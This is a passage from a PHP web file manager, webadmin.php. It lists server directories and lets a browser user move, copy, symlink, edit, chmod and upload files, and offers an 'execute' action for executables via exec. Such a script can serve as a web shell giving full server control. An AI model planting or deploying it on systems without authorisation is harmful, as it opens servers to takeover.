</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
                html_footer();
            }
            break;
        case 'move':
            if (!empty($_POST['destination'])) {
                $dest = relative2absolute($_POST['destination'], $directory);
                $failure = array();
                $success = array();
                foreach ($files as $file) {
                    $filename = substr($file, strlen($directory));
                    $d = $dest . $filename;
                    if (!@file_exists($d) && @rename($file, $d)) {
                        $success[] = $file;
                    } else {
                        $failure[] = $file;
                    }
                }
                $message = '';
                if (sizeof($failure) > 0) {
                    $message = error('not_moved', implode("\n", $failure), $dest);
                }
                if (sizeof($success) > 0) {
                    $message .= notice('moved', implode("\n", $success), $dest);
                }
                listing_page($message);
            } else {
                html_header();
                echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';
                request_dump();
                echo "\t<b>" . word('move_files') . '</b>
	<p>
';
                foreach ($files as $file) {
                    echo "\t" . html($file) . "<br />\n";
                }
                echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
                html_footer();
            }
            break;
        case 'copy':
            if (!empty($_POST['destination'])) {
                $dest = relative2absolute($_POST['destination'], $directory);
                if (@is_dir($dest)) {
                    $failure = array();
                    $success = array();
                    foreach ($files as $file) {
                        $filename = substr($file, strlen($directory));
                        $d = addslash($dest) . $filename;
                        if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
                            $success[] = $file;
                        } else {
                            $failure[] = $file;
                        }
                    }
                    $message = '';
                    if (sizeof($failure) > 0) {
                        $message = error('not_copied', implode("\n", $failure), $dest);
                    }
                    if (sizeof($success) > 0) {
                        $message .= notice('copied', implode("\n", $success), $dest);
                    }
                    listing_page($message);
                } else {
                    if (!@file_exists($dest) && @copy($file, $dest)) {
                        listing_page(notice('copied', $file, $dest));
                    } else {
                        listing_page(error('not_copied', $file, $dest));
                    }
                }
            } else {
                html_header();
                echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';
                request_dump();
                echo "\n<b>" . word('copy_files') . '</b>
	<p>
';
                foreach ($files as $file) {
                    echo "\t" . html($file) . "<br />\n";
                }
                echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
                html_footer();
            }
            break;
        case 'create_symlink':
            if (!empty($_POST['destination'])) {
                $dest = relative2absolute($_POST['destination'], $directory);
                if (substr($dest, -1, 1) == $delim) {
                    $dest .= basename($file);
                }
                if (!empty($_POST['relative'])) {
                    $file = absolute2relative(addslash(dirname($dest)), $file);
                }
                if (!@file_exists($dest) && @symlink($file, $dest)) {
                    listing_page(notice('symlinked', $file, $dest));
                } else {
                    listing_page(error('not_symlinked', $file, $dest));
                }
            } else {
                html_header();
                echo '<form action="' . $self . '" method="post">

<table class="dialog" id="symlink">
<tr>
	<td style="vertical-align: top">' . word('destination') . ': </td>
	<td>
		<b>' . html($file) . '</b><br />
		<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
		<label for="checkbox_relative">' . word('relative') . '</label>
		<input type="hidden" name="action" value="create_symlink" />
		<input type="hidden" name="file" value="' . html($file) . '" />
		<input type="hidden" name="dir" value="' . html($directory) . '" />
	</td>
</tr>
<tr>
	<td>' . word('symlink') . ': </td>
	<td>
		<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
		<input type="submit" value="' . word('create_symlink') . '" />
	</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
                html_footer();
            }
            break;
        case 'edit':
            if (!empty($_POST['save'])) {
                $content = str_replace("\r\n", "\n", $_POST['content']);
                if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
                    listing_page(notice('saved', $file));
                } else {
                    listing_page(error('not_saved', $file));
                }
            } else {
                if (@is_readable($file) && @is_writable($file)) {
                    edit($file);
                } else {
                    listing_page(error('not_edited', $file));
                }
            }
            break;
        case 'permission':
            if (!empty($_POST['set'])) {
                $mode = 0;
                if (!empty($_POST['ur'])) {
                    $mode = 256;
                }
                if (!empty($_POST['uw'])) {
                    $mode |= 0200;
                }
                if (!empty($_POST['ux'])) {
                    $mode |= 0100;
                }
                if (!empty($_POST['gr'])) {
                    $mode |= 040;
                }
                if (!empty($_POST['gw'])) {
                    $mode |= 020;
                }
                if (!empty($_POST['gx'])) {
                    $mode |= 010;
                }
                if (!empty($_POST['or'])) {
                    $mode |= 04;
                }
                if (!empty($_POST['ow'])) {
                    $mode |= 02;
                }
                if (!empty($_POST['ox'])) {
                    $mode |= 01;
                }
                if (@chmod($file, $mode)) {
                    listing_page(notice('permission_set', $file, decoct($mode)));
                } else {
                    listing_page(error('permission_not_set', $file, decoct($mode)));
                }
            } else {
                html_header();
                $mode = fileperms($file);
                echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<p style="margin: 0">' . phrase('permission_for', $file) . '</p>

	<hr />

	<table id="permission">
	<tr>
		<td></td>
		<td style="border-right: 1px solid black">' . word('owner') . '</td>
		<td style="border-right: 1px solid black">' . word('group') . '</td>
		<td>' . word('other') . '</td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('read') . ':</td>
		<td><input type="checkbox" name="ur" value="1"';
                if ($mode & 0400) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"gr\" value=\"1\"";
                if ($mode & 040) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"or\" value=\"1\"";
                if ($mode & 04) {
                    echo " checked=\"checked\"";
                }
                echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('write') . ':</td>
		<td><input type="checkbox" name="uw" value="1"';
                if ($mode & 0200) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"gw\" value=\"1\"";
                if ($mode & 020) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"ow\" value=\"1\"";
                if ($mode & 02) {
                    echo " checked=\"checked\"";
                }
                echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('execute') . ':</td>
		<td><input type="checkbox" name="ux" value="1"';
                if ($mode & 0100) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"gx\" value=\"1\"";
                if ($mode & 010) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"ox\" value=\"1\"";
                if ($mode & 01) {
                    echo " checked=\"checked\"";
                }
                echo ' /></td>
	</tr>
	</table>

	<hr />

	<input type="submit" name="set" value="' . word('set') . '" />

	<input type="hidden" name="action" value="permission" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
                html_footer();
            }
            break;
        default:
            listing_page();
    }
    /* ------------------------------------------------------------------------- */
    function getlist($directory)
    {
        global $delim, $win;
        if ($d = @opendir($directory)) {
            while (($filename = @readdir($d)) !== false) {
                $path = $directory . $filename;
                if ($stat = @lstat($path)) {
                    $file = array('filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path));
                    if ($file['is_dir']) {
                        $file['is_executable'] = @file_exists($path . $delim . '.');
                    } else {
                        if (!$win) {
                            $file['is_executable'] = @is_executable($path);
                        } else {
                            $file['is_executable'] = true;
                        }
                    }
                    if ($file['is_link']) {
                        $file['target'] = @readlink($path);
                    }
                    if (function_exists('posix_getpwuid')) {
                        $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
                    }
                    if (function_exists('posix_getgrgid')) {
                        $file['group_name'] = @reset(posix_getgrgid($file['group']));
                    }
                    $files[] = $file;
                }
            }
            return $files;
        } else {
            return false;
        }
    }
    function sortlist($list, $key, $reverse)
    {
        $dirs = array();
        $files = array();
        for ($i = 0; $i < sizeof($list); $i++) {
            if ($list[$i]['is_dir']) {
                $dirs[] = $list[$i];
            } else {
                $files[] = $list[$i];
            }
        }
        quicksort($dirs, 0, sizeof($dirs) - 1, $key);
        if ($reverse) {
            $dirs = array_reverse($dirs);
        }
        quicksort($files, 0, sizeof($files) - 1, $key);
        if ($reverse) {
            $files = array_reverse($files);
        }
        return array_merge($dirs, $files);
    }
    function quicksort(&$array, $first, $last, $key)
    {
        if ($first < $last) {
            $cmp = $array[floor(($first + $last) / 2)][$key];
            $l = $first;
            $r = $last;
            while ($l <= $r) {
                while ($array[$l][$key] < $cmp) {
                    $l++;
                }
                while ($array[$r][$key] > $cmp) {
                    $r--;
                }
                if ($l <= $r) {
                    $tmp = $array[$l];
                    $array[$l] = $array[$r];
                    $array[$r] = $tmp;
                    $l++;
                    $r--;
                }
            }
            quicksort($array, $first, $r, $key);
            quicksort($array, $l, $last, $key);
        }
    }
    function permission_octal2string($mode)
    {
        if (($mode & 0xc000) === 0xc000) {
            $type = 's';
        } elseif (($mode & 0xa000) === 0xa000) {
            $type = 'l';
        } elseif (($mode & 0x8000) === 0x8000) {
            $type = '-';
        } elseif (($mode & 0x6000) === 0x6000) {
            $type = 'b';
        } elseif (($mode & 0x4000) === 0x4000) {
            $type = 'd';
        } elseif (($mode & 0x2000) === 0x2000) {
            $type = 'c';
        } elseif (($mode & 0x1000) === 0x1000) {
            $type = 'p';
        } else {
            $type = '?';
        }
        $owner = $mode & 0400 ? 'r' : '-';
        $owner .= $mode & 0200 ? 'w' : '-';
        if ($mode & 0x800) {
            $owner .= $mode & 0100 ? 's' : 'S';
        } else {
            $owner .= $mode & 0100 ? 'x' : '-';
        }
        $group = $mode & 040 ? 'r' : '-';
        $group .= $mode & 020 ? 'w' : '-';
        if ($mode & 0x400) {
            $group .= $mode & 010 ? 's' : 'S';
        } else {
            $group .= $mode & 010 ? 'x' : '-';
        }
        $other = $mode & 04 ? 'r' : '-';
        $other .= $mode & 02 ? 'w' : '-';
        if ($mode & 0x200) {
            $other .= $mode & 01 ? 't' : 'T';
        } else {
            $other .= $mode & 01 ? 'x' : '-';
        }
        return $type . $owner . $group . $other;
    }
    function is_script($filename)
    {
        return ereg('\\.php$|\\.php3$|\\.php4$|\\.php5$', $filename);
    }
    function getmimetype($filename)
    {
        static $mimes = array('\\.jpg$|\\.jpeg$' => 'image/jpeg', '\\.gif$' => 'image/gif', '\\.png$' => 'image/png', '\\.html$|\\.html$' => 'text/html', '\\.txt$|\\.asc$' => 'text/plain', '\\.xml$|\\.xsl$' => 'application/xml', '\\.pdf$' => 'application/pdf');
        foreach ($mimes as $regex => $mime) {
            if (eregi($regex, $filename)) {
                return $mime;
            }
        }
        // return 'application/octet-stream';
        return 'text/plain';
    }
    function del($file)
    {
        global $delim;
        if (!file_exists($file)) {
            return false;
        }
        if (@is_dir($file) && !@is_link($file)) {
            $success = false;
            if (@rmdir($file)) {
                $success = true;
            } elseif ($dir = @opendir($file)) {
                $success = true;
                while (($f = readdir($dir)) !== false) {
                    if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
                        $success = false;
                    }
                }
                closedir($dir);
                if ($success) {
                    $success = @rmdir($file);
                }
            }
            return $success;
        }
        return @unlink($file);
    }
    function addslash($directory)
    {
        global $delim;
        if (substr($directory, -1, 1) != $delim) {
            return $directory . $delim;
        } else {
            return $directory;
        }
    }
    function relative2absolute($string, $directory)
    {
        if (path_is_relative($string)) {
            return simplify_path(addslash($directory) . $string);
        } else {
            return simplify_path($string);
        }
    }
    function path_is_relative($path)
    {
        global $win;
        if ($win) {
            return substr($path, 1, 1) != ':';
        } else {
            return substr($path, 0, 1) != '/';
        }
    }
    function absolute2relative($directory, $target)
    {
        global $delim;
        $path = '';
        while ($directory != $target) {
            if ($directory == substr($target, 0, strlen($directory))) {
                $path .= substr($target, strlen($directory));
                break;
            } else {
                $path .= '..' . $delim;
                $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
            }
        }
        if ($path == '') {
            $path = '.';
        }
        return $path;
    }
    function simplify_path($path)
    {
        global $delim;
        if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
            $path = realpath($path);
            if (@is_dir($path)) {
                return addslash($path);
            } else {
                return $path;
            }
        }
        $pattern = $delim . '.' . $delim;
        if (@is_dir($path)) {
            $path = addslash($path);
        }
        while (strpos($path, $pattern) !== false) {
            $path = str_replace($pattern, $delim, $path);
        }
        $e = addslashes($delim);
        $regex = $e . '((\\.[^\\.' . $e . '][^' . $e . ']*)|(\\.\\.[^' . $e . ']+)|([^\\.][^' . $e . ']*))' . $e . '\\.\\.' . $e;
        while (ereg($regex, $path)) {
            $path = ereg_replace($regex, $delim, $path);
        }
        return $path;
    }
    function human_filesize($filesize)
    {
        $suffices = 'kMGTPE';
        $n = 0;
        while ($filesize >= 1000) {
            $filesize /= 1024;
            $n++;
        }
        $filesize = round($filesize, 3 - strpos($filesize, '.'));
        if (strpos($filesize, '.') !== false) {
            while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
                $filesize = substr($filesize, 0, strlen($filesize) - 1);
            }
        }
        $suffix = $n == 0 ? '' : substr($suffices, $n - 1, 1);
        return $filesize . " {$suffix}B";
    }
    function strip(&$str)
    {
        $str = stripslashes($str);
    }
    /* ------------------------------------------------------------------------- */
    function listing_page($message = null)
    {
        global $self, $directory, $sort, $reverse;
        html_header();
        $list = getlist($directory);
        if (array_key_exists('sort', $_GET)) {
            $sort = $_GET['sort'];
        } else {
            $sort = 'filename';
        }
        if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') {
            $reverse = true;
        } else {
            $reverse = false;
        }
        echo '<h1 style="margin-bottom: 0">webadmin.php</h1>

<form enctype="multipart/form-data" action="' . $self . '" method="post">

<table id="main">
';
        directory_choice();
        if (!empty($message)) {
            spacer();
            echo $message;
        }
        if (@is_writable($directory)) {
            upload_box();
            create_box();
        } else {
            spacer();
        }
        if ($list) {
            $list = sortlist($list, $sort, $reverse);
            listing($list);
        } else {
            echo error('not_readable', $directory);
        }
        echo "</table>\n\n</form>\n\n";
        html_footer();
    }
    function listing($list)
    {
        global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
        echo '<tr class="listing">
	<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';
        column_title('filename', $sort, $reverse);
        column_title('size', $sort, $reverse);
        if (!$win) {
            column_title('permission', $sort, $reverse);
            column_title('owner', $sort, $reverse);
            column_title('group', $sort, $reverse);
        }
        echo '	<th class="functions">' . word('functions') . '</th>
</tr>
';
        for ($i = 0; $i < sizeof($list); $i++) {
            $file = $list[$i];
            $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
            $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
            $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
            echo '<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
	<td class="filename" title="' . html($timestamps) . '">';
            if ($file['is_link']) {
                echo '<img src="' . $self . '?image=link" alt="link" /> ';
                echo html($file['filename']) . ' &rarr; ';
                $real_file = relative2absolute($file['target'], $directory);
                if (@is_readable($real_file)) {
                    if (@is_dir($real_file)) {
                        echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
                    } else {
                        echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
                    }
                } else {
                    echo html($file['target']);
                }
            } elseif ($file['is_dir']) {
                echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
                if ($win || $file['is_executable']) {
                    echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
                } else {
                    echo html($file['filename']);
                }
                echo " ]";
            } else {
                if (substr($file['filename'], 0, 1) == '.') {
                    echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
                } else {
                    echo '<img src="' . $self . '?image=file" alt="file" /> ';
                }
                if ($file['is_file'] && $file['is_readable']) {
                    echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
                } else {
                    echo html($file['filename']);
                }
            }
            if ($file['size'] >= 1000) {
                $human = ' title="' . human_filesize($file['size']) . '"';
            } else {
                $human = '';
            }
            echo "</td>\n";
            echo "\t<td class=\"size\"{$human}>{$file['size']} B</td>\n";
            if (!$win) {
                echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
                $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
                if ($l) {
                    echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
                }
                echo html(permission_octal2string($file['permission']));
                if ($l) {
                    echo "</a>";
                }
                echo "</td>\n";
                if (array_key_exists('owner_name', $file)) {
                    echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
                } else {
                    echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
                }
                if (array_key_exists('group_name', $file)) {
                    echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
                } else {
                    echo "\t<td class=\"group\">{$file['group']}</td>\n";
                }
            }
            echo '	<td class="functions">
		<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';
            $actions = array();
            if (function_exists('symlink')) {
                $actions[] = 'create_symlink';
            }
            if (@is_writable(dirname($file['path']))) {
                $actions[] = 'delete';
                $actions[] = 'rename';
                $actions[] = 'move';
            }
            if ($file['is_file'] && $file['is_readable']) {
                $actions[] = 'copy';
                $actions[] = 'download';
                if ($file['is_writable']) {
                    $actions[] = 'edit';
                }
            }
            if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
                $actions[] = 'execute';
            }
            if (sizeof($actions) > 0) {
                echo '		<select class="small" name="action' . $i . '" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';
                foreach ($actions as $action) {
                    echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
                }
                echo '		</select>
		<input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
';
            }
            echo "\t</td>\n</tr>\n";
        }
        echo '<tr class="listing_footer">
	<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
	<td colspan="' . ($cols - 1) . '">
		<input type="hidden" name="num" value="' . sizeof($list) . '" />
		<input type="hidden" name="focus" value="" />
		<input type="hidden" name="olddir" value="' . html($directory) . '" />
';
        $actions = array();
        if (@is_writable(dirname($file['path']))) {
            $actions[] = 'delete';
            $actions[] = 'move';
        }
        $actions[] = 'copy';
        echo '		<select class="small" name="action_all" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';
        foreach ($actions as $action) {
            echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
        }
        echo "\t\t</select>\n\t\t<input class=\"small\" type=\"submit\" name=\"submit_all\" value=\" &gt; \" onfocus=\"activate('other')\" />\n\t</td>\n</tr>\n";
    }
    function column_title($column, $sort, $reverse)
    {
        global $self, $directory;
        $d = 'dir=' . urlencode($directory) . '&amp;';
        $arr = '';
        if ($sort == $column) {
            if (!$reverse) {
                $r = '&amp;reverse=true';
                $arr = ' &and;';
            } else {
                $arr = ' &or;';
            }
        } else {
            $r = '';
        }
        echo "\t<th class=\"{$column}\"><a href=\"{$self}?{$d}sort={$column}{$r}\">" . word($column) . "</a>{$arr}</th>\n";
    }
    function directory_choice()
    {
        global $directory, $homedir, $cols, $self;
        echo '<tr>
	<td colspan="' . $cols . '" id="directory">
		<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
		<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
		<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
	</td>
</tr>
';
    }
    function upload_box()
    {
        global $cols;
        echo '<tr>
	<td colspan="' . $cols . '" id="upload">
		' . word('file') . ':
		<input type="file" name="upload" onfocus="activate(\'other\')" />
		<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
	</td>
</tr>
';
    }
    function create_box()
    {
        global $cols;
        echo '<tr>
	<td colspan="' . $cols . '" id="create">
		<select name="create_type" size="1" onfocus="activate(\'create\')">
		<option value="file">' . word('file') . '</option>
		<option value="directory">' . word('directory') . '</option>
		</select>
		<input type="text" name="create_name" onfocus="activate(\'create\')" />
		<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
	</td>
</tr>
';
    }
    function edit($file)
    {
        global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
        html_header();
        echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>

<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
        if (array_key_exists('content', $_POST)) {
            echo $_POST['content'];
        } else {
            $f = fopen($file, 'r');
            while (!feof($f)) {
                echo html(fread($f, 8192));
            }
            fclose($f);
        }
        if (!empty($_POST['user'])) {
            echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
        }
        if (!empty($_POST['basic_auth'])) {
            if ($win) {
                $authfile = str_replace('\\', '/', $directory) . $htpasswd;
            } else {
                $authfile = $directory . $htpasswd;
            }
            echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
            echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
            echo "Require valid-user";
        }
        echo "</textarea>\n\n\t<hr />\n";
        if ($apache && basename($file) == $htpasswd) {
            echo '
	' . word('user') . ': <input type="text" name="user" />
	' . word('password') . ': <input type="password" name="password" />
	<input type="submit" value="' . word('add') . '" />

	<hr />
';
        }
        if ($apache && basename($file) == $htaccess) {
            echo '
	<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />

	<hr />
';
        }
        echo '
	<input type="hidden" name="action" value="edit" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<input type="reset" value="' . word('reset') . '" id="red_button" />
	<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
        html_footer();
    }
    function spacer()
    {
        global $cols;
        echo '<tr>
	<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';
    }
    function textfieldsize($content)
    {
        $size = strlen($content) + 5;
        if ($size < 30) {
            $size = 30;
        }
        return $size;
    }
    function request_dump()
    {
        foreach ($_REQUEST as $key => $value) {
            echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
        }
    }
    /* ------------------------------------------------------------------------- */
    function html($string)
    {
        global $site_charset;
        return htmlentities($string, ENT_COMPAT, $site_charset);
    }
    function word($word)
    {
        global $words, $word_charset;
        return htmlentities($words[$word], ENT_COMPAT, $word_charset);
    }
    function phrase($phrase, $arguments)
    {
        global $words;
        static $search;
        if (!is_array($search)) {
            for ($i = 1; $i <= 8; $i++) {
                $search[] = "%{$i}";
            }
        }
        for ($i = 0; $i < sizeof($arguments); $i++) {
            $arguments[$i] = nl2br(html($arguments[$i]));
        }
        $replace = array('{' => '<pre>', '}' => '</pre>', '[' => '<b>', ']' => '</b>');
        return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
    }
    function getwords($lang)
    {
        global $date_format, $word_charset;
        $word_charset = 'UTF-8';
        switch ($lang) {
            case 'de':
                $date_format = 'd.m.y H:i:s';
                return array('directory' => 'Verzeichnis', 'file' => 'Datei', 'filename' => 'Dateiname', 'size' => 'Größe', 'permission' => 'Rechte', 'owner' => 'Eigner', 'group' => 'Gruppe', 'other' => 'Andere', 'functions' => 'Funktionen', 'read' => 'lesen', 'write' => 'schreiben', 'execute' => 'ausführen', 'create_symlink' => 'Symlink erstellen', 'delete' => 'löschen', 'rename' => 'umbenennen', 'move' => 'verschieben', 'copy' => 'kopieren', 'edit' => 'editieren', 'download' => 'herunterladen', 'upload' => 'hochladen', 'create' => 'erstellen', 'change' => 'wechseln', 'save' => 'speichern', 'set' => 'setze', 'reset' => 'zurücksetzen', 'relative' => 'Pfad zum Ziel relativ', 'yes' => 'Ja', 'no' => 'Nein', 'back' => 'zurück', 'destination' => 'Ziel', 'symlink' => 'Symbolischer Link', 'no_output' => 'keine Ausgabe', 'user' => 'Benutzername', 'password' => 'Kennwort', 'add' => 'hinzufügen', 'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen', 'uploaded' => '"[%1]" wurde hochgeladen.', 'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.', 'already_exists' => '"[%1]" existiert bereits.', 'created' => '"[%1]" wurde erstellt.', 'not_created' => '"[%1]" konnte nicht erstellt werden.', 'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?', 'deleted' => "Folgende Dateien wurden gel\xc3\xb6scht:\n[%1]", 'not_deleted' => "Folgende Dateien konnten nicht gel\xc3\xb6scht werden:\n[%1]", 'rename_file' => 'Benenne Datei um:', 'renamed' => '"[%1]" wurde in "[%2]" umbenannt.', 'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.', 'move_files' => 'Verschieben folgende Dateien:', 'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]", 'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]", 'copy_files' => 'Kopiere folgende Dateien:', 'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]", 'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]", 'not_edited' => '"[%1]" kann nicht editiert werden.', 'executed' => "\"[%1]\" wurde erfolgreich ausgef\xc3\xbchrt:\n{%2}", 'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgef\xc3\xbchrt werden:\n{%2}", 'saved' => '"[%1]" wurde gespeichert.', 'not_saved' => '"[%1]" konnte nicht gespeichert werden.', 'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.', 'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.', 'permission_for' => 'Rechte für "[%1]":', 'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.', 'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.', 'not_readable' => '"[%1]" kann nicht gelesen werden.');
            case 'fr':
                $date_format = 'd.m.y H:i:s';
                return array('directory' => 'Répertoire', 'file' => 'Fichier', 'filename' => 'Nom fichier', 'size' => 'Taille', 'permission' => 'Droits', 'owner' => 'Propriétaire', 'group' => 'Groupe', 'other' => 'Autres', 'functions' => 'Fonctions', 'read' => 'Lire', 'write' => 'Ecrire', 'execute' => 'Exécuter', 'create_symlink' => 'Créer lien symbolique', 'delete' => 'Effacer', 'rename' => 'Renommer', 'move' => 'Déplacer', 'copy' => 'Copier', 'edit' => 'Ouvrir', 'download' => 'Télécharger sur PC', 'upload' => 'Télécharger sur serveur', 'create' => 'Créer', 'change' => 'Changer', 'save' => 'Sauvegarder', 'set' => 'Exécuter', 'reset' => 'Réinitialiser', 'relative' => 'Relatif', 'yes' => 'Oui', 'no' => 'Non', 'back' => 'Retour', 'destination' => 'Destination', 'symlink' => 'Lien symbollique', 'no_output' => 'Pas de sortie', 'user' => 'Utilisateur', 'password' => 'Mot de passe', 'add' => 'Ajouter', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" a été téléchargé sur le serveur.', 'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.', 'already_exists' => '"[%1]" existe déjà.', 'created' => '"[%1]" a été créé.', 'not_created' => '"[%1]" n a pas pu être créé.', 'really_delete' => 'Effacer le fichier?', 'deleted' => "Ces fichiers ont \xc3\xa9t\xc3\xa9 d\xc3\xa9tuits:\n[%1]", 'not_deleted' => "Ces fichiers n ont pu \xc3\xaatre d\xc3\xa9truits:\n[%1]", 'rename_file' => 'Renomme fichier:', 'renamed' => '"[%1]" a été renommé en "[%2]".', 'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".', 'move_files' => 'Déplacer ces fichiers:', 'moved' => "Ces fichiers ont \xc3\xa9t\xc3\xa9 d\xc3\xa9plac\xc3\xa9s en \"[%2]\":\n[%1]", 'not_moved' => "Ces fichiers n ont pas pu \xc3\xaatre d\xc3\xa9plac\xc3\xa9s en \"[%2]\":\n[%1]", 